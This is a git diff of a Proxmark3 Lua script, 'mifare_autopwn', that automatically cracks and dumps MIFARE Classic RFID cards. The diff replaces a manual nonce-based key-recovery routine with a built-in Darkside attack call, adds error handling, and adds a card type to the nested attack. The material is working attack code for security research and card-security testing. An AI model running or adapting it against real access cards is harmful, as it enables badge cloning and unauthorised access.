X-Git-Url: https://git.zerfleddert.de/cgi-bin/gitweb.cgi/proxmark3-svn/blobdiff_plain/51defdd4a2bb20022acaf7b94d67c3ab0d86fb96..f98702bace48fde3ec1492d1c732e23cd2eb8613:/client/scripts/mifare_autopwn.lua?ds=sidebyside

diff --git a/client/scripts/mifare_autopwn.lua b/client/scripts/mifare_autopwn.lua
index 8d0d358f..d743f21e 100644
--- a/client/scripts/mifare_autopwn.lua
+++ b/client/scripts/mifare_autopwn.lua
@@ -8,7 +8,7 @@ author = "Martin Holst Swende"
 
 desc =
 [[
-This is a which automates cracking and dumping mifare classic cards. It sets itself into 
+This is a script which automates cracking and dumping mifare classic cards. It sets itself into 
 'listening'-mode, after which it cracks and dumps any mifare classic card that you 
 place by the device. 
 
@@ -56,73 +56,13 @@ end
 -- @return if unsuccessfull : nil, error
 function wait_for_mifare()
 	while not core.ukbhit() do
-		res, err = reader.read1443a()
+		res, err = reader.read14443a(false, true)
 		if res then return res end
 		-- err means that there was no response from card
 	end
 	return nil, "Aborted by user"
 end
 
-function mfcrack()
-	core.clearCommandBuffer()
-	-- Build the mifare-command
-	local cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 1}
-	
-	local retry = true
-	while retry do
-		core.SendCommand(cmd:getBytes())
-		local key, errormessage = mfcrack_inner()
-		-- Success?
-		if key then return key end
-		-- Failure? 
-		if errormessage then return nil, errormessage end
-		-- Try again..set arg1 to 0 this time. 
-
-		cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 0}
-	end	
-	return nil, "Aborted by user"
-end
-
-
-function mfcrack_inner()
-	while not core.ukbhit() do		
-		local result = core.WaitForResponseTimeout(cmds.CMD_ACK,1000)
-		if result then
-			-- Unpacking the three arg-parameters
-			local count,cmd,isOK = bin.unpack('LL',result)
-
-			if isOK ~= 1 then return nil, "Error occurred" end
-
-
-			-- The data-part is left
-			-- Starts 32 bytes in, at byte 33
-			local data = result:sub(33)
-
-			-- A little helper
-			local get = function(num)
-				local x = data:sub(1,num)
-				data = data:sub(num+1)
-				return x
-			end
-
-			local uid,nt,pl = get(4),get(4),get(8)
-			local ks,nr = get(8),get(4)
-
-			local status, key = core.nonce2key(uid,nt, nr, pl,ks)
-			if not status then return status,key end
-
-			if status > 0 then 
-				print("Key not found (lfsr_common_prefix problem)")
-				-- try again
-				return nil,nil
-			else
-				return key
-			end
-		end
-	end
-	return nil, "Aborted by user"
-end
-
 function nested(key,sak)
 	local typ = 1
 	if 0x18 == sak then --NXP MIFARE Classic 4k | Plus 4k
@@ -133,6 +73,8 @@ function nested(key,sak)
 		typ = 0
 	elseif  0x10 == sak then-- "NXP MIFARE Plus 2k"
 		typ = 2
+	elseif  0x01 == sak then-- "NXP MIFARE TNP3xxx 1K"
+		typ = 1
 	else
 		print("I don't know how many sectors there are on this type of card, defaulting to 16")
 	end
@@ -182,8 +124,15 @@ function main(args)
 			print("Card found, commencing crack", uid)
 			-- Crack it
 			local key, cnt
-			res,err = mfcrack()
-			if not res then return oops(err) end
+			err, res = core.mfDarkside()
+			if     err == -1 then return oops("Button pressed. Aborted.") 
+			elseif err == -2 then return oops("Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests).")
+			elseif err == -3 then return oops("Card is not vulnerable to Darkside attack (its random number generator is not predictable).")
+			elseif err == -4 then return oops([[
+Card is not vulnerable to Darkside attack (its random number generator seems to be based on the wellknown
+generating polynomial with 16 effective bits only, but shows unexpected behaviour.]])
+			elseif err == -5 then return oops("Aborted via keyboard.")
+			end
 			-- The key is actually 8 bytes, so a 
 			-- 6-byte key is sent as 00XXXXXX
 			-- This means we unpack it as first